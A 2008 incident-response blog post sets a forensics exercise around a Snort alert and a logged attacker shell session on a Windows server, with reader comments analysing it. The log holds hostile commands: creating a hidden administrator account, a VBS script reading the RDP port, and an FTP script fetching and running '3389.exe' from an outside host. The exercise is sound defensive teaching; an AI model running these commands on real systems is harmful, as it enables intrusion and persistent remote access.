Sunday, January 20, 2008

Analyze this

Some time ago I shared an intrusion analysis where the attack vector was the DNSRPC vulnerability. I've decided the trim this one down a bit to let you the reader tell me what you think is happening here.

You receive the following IDS alert on your cell phone early in the morning:

[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]

After searching your network logs you discover the following:

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>


Some questions:

Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)

2 comments:

Keydet89 said...

Is the snort alert an indicator or a warning? Explain your reasoning.

It looks more like a slap in the face...according to the XRef, a virus has been installed on the system that opens a command prompt.

Given the clues, how would you begin your investigation?

It depends...what is the system itself used for? Does the environment/subnet process any sensitive data (PCI, PHI, PII, etc.)? I would definitely want to know how the intruder first got on the system, but I would also want to first grab any volatile data that I could. I would also want to learn as much about what the EXE does as I could.

What do you think the attacker was trying to do?

It would appear that the attacker had a foothold in the system, and was attempting to maintain some sort of persistence on that system.

What does 3389.vbs do?

It reads the Registry to see which port is assigned to Terminal Services. It's interesting that the .vbs script is used when "req query" would have worked.

What do you think 3389.exe does?

It could be some sort of reverse shell hard-coded connect on a port, or an IRC bot of some kind. However, that's just speculation...there's really no way of knowing.

hogfly said...

Harlan,
I find it interesting that attacks are moving more to .vbs scripts. I wonder when we'll start to see powershell scripts.

Would you be interested in looking at the binary?